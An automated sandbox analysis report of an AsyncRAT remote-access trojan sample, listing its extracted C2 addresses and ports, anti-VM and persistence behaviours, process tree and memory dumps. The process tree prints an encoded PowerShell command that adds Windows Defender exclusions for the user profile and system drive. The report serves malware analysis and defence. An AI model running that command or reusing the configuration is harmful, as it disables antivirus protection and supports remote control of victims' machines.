Analysis
- max time kernel
141s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
24/05/2024, 22:50
General
- Target 5b928ec4ea2603ae6ecb064b87c61de0_NeikiAnalytics.exe
- Size 7.5MB
- Sample240524-2scxnsec28
- SHA256 dd24bffcf99adae86c2ab40aeadaef14026412d1bd6f26c2ca69fe878119941d
Malware Config
Extracted
-
asyncrat
-
0.5.8
-
Default
-
95.211.208.153:6606
-
95.211.208.153:7707
-
95.211.208.153:8808
-
5512.sytes.net:6606
-
5512.sytes.net:7707
-
5512.sytes.net:8808
-
Llg9a02PERRO
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Themida packer 3 IoCs
Detects Themida, an advanced Windows software protection system.
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\5b928ec4ea2603ae6ecb064b87c61de0_NeikiAnalytics.exe"C:\Users\Admin\AppData\Local\Temp\5b928ec4ea2603ae6ecb064b87c61de0_NeikiAnalytics.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAbAB6ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAdQBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAdQBnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHcAagBlACMAPgA="2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Bvczeqr.exe"C:\Users\Admin\AppData\Local\Temp\Bvczeqr.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\patch.exe"C:\Users\Admin\AppData\Local\Temp\patch.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Bvczeqr.exe
__PSScriptPolicyTest_irzrcpoo.toc.ps1
patch.exe
memory/1228-25-0x0000000074F90000-0x0000000074F91000-memory.dmp
memory/1228-4987-0x0000000074F70000-0x0000000075060000-memory.dmp
memory/1228-4982-0x0000000074F70000-0x0000000075060000-memory.dmp
memory/1228-4988-0x0000000074F70000-0x0000000075060000-memory.dmp
memory/1228-34-0x0000000074F70000-0x0000000075060000-memory.dmp
memory/1228-33-0x0000000074F70000-0x0000000075060000-memory.dmp
memory/1228-35-0x0000000074F70000-0x0000000075060000-memory.dmp
memory/1228-105-0x0000000005D00000-0x0000000005D0A000-memory.dmp
memory/1228-4981-0x0000000074F90000-0x0000000074F91000-memory.dmp
memory/1228-26-0x0000000074F70000-0x0000000075060000-memory.dmp
memory/1228-29-0x0000000074F70000-0x0000000075060000-memory.dmp
memory/1228-28-0x0000000000E40000-0x000000000168E000-memory.dmp
memory/1228-52-0x0000000000E40000-0x000000000168E000-memory.dmp
memory/1228-4985-0x0000000074F70000-0x0000000075060000-memory.dmp
memory/1228-4984-0x0000000074F70000-0x0000000075060000-memory.dmp
memory/1228-41-0x0000000000E40000-0x000000000168E000-memory.dmp
memory/1228-4983-0x0000000000E40000-0x000000000168E000-memory.dmp
memory/1960-4979-0x0000000005CD0000-0x0000000005D6C000-memory.dmp
memory/1960-4969-0x0000000000400000-0x0000000000412000-memory.dmp
memory/4712-31-0x0000000004C90000-0x00000000052B8000-memory.dmp
memory/4712-4958-0x0000000006F70000-0x0000000006F7A000-memory.dmp
memory/4712-55-0x0000000005560000-0x00000000055C6000-memory.dmp
memory/4712-32-0x0000000074F70000-0x0000000075060000-memory.dmp
memory/4712-30-0x0000000074F70000-0x0000000075060000-memory.dmp
memory/4712-4976-0x0000000074F70000-0x0000000075060000-memory.dmp
memory/4712-4973-0x0000000007210000-0x0000000007218000-memory.dmp
memory/4712-4971-0x0000000007230000-0x000000000724A000-memory.dmp
memory/4712-27-0x0000000004620000-0x0000000004656000-memory.dmp
memory/4712-4967-0x0000000007140000-0x0000000007154000-memory.dmp
memory/4712-4964-0x0000000007130000-0x000000000713E000-memory.dmp
memory/4712-4962-0x00000000070F0000-0x0000000007101000-memory.dmp
memory/4712-4961-0x0000000007170000-0x0000000007206000-memory.dmp
memory/4712-53-0x0000000005420000-0x0000000005442000-memory.dmp
memory/4712-4729-0x0000000006EF0000-0x0000000006F0A000-memory.dmp
memory/4712-4614-0x0000000007530000-0x0000000007BAA000-memory.dmp
memory/4712-4342-0x0000000006D80000-0x0000000006E23000-memory.dmp
memory/4712-4326-0x0000000005FB0000-0x0000000005FCE000-memory.dmp
memory/4712-4258-0x0000000006110000-0x0000000006142000-memory.dmp
memory/4712-79-0x00000000055D0000-0x0000000005924000-memory.dmp
memory/4712-4286-0x000000006F580000-0x000000006F5CC000-memory.dmp
memory/4712-1228-0x0000000005BC0000-0x0000000005BDE000-memory.dmp
memory/4712-1229-0x0000000005BE0000-0x0000000005C2C000-memory.dmp
memory/4712-54-0x00000000054F0000-0x0000000005556000-memory.dmp
memory/4712-20-0x000000007326E000-0x000000007326F000-memory.dmp
memory/5084-83-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-76-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-74-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-62-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-60-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-64-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-50-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-57-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-48-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-46-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-44-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-66-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-43-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-68-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-70-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-72-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-78-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-81-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-85-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-87-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-89-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-4957-0x0000000074F70000-0x0000000075060000-memory.dmp
memory/5084-91-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-4959-0x00000000050D0000-0x000000000512C000-memory.dmp
memory/5084-4960-0x0000000006700000-0x000000000674C000-memory.dmp
memory/5084-93-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-95-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-4963-0x0000000006860000-0x00000000068B4000-memory.dmp
memory/5084-97-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-99-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-101-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-4970-0x0000000073260000-0x0000000073A10000-memory.dmp
memory/5084-4972-0x0000000074F70000-0x0000000075060000-memory.dmp
memory/5084-108-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-119-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-121-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-106-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-103-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-58-0x00000000062A0000-0x00000000064BA000-memory.dmp
memory/5084-24-0x0000000073260000-0x0000000073A10000-memory.dmp
memory/5084-42-0x0000000006560000-0x00000000065F2000-memory.dmp
memory/5084-40-0x0000000006A70000-0x0000000007014000-memory.dmp
memory/5084-39-0x00000000062A0000-0x00000000064C0000-memory.dmp
memory/5084-23-0x0000000000390000-0x00000000007D8000-memory.dmp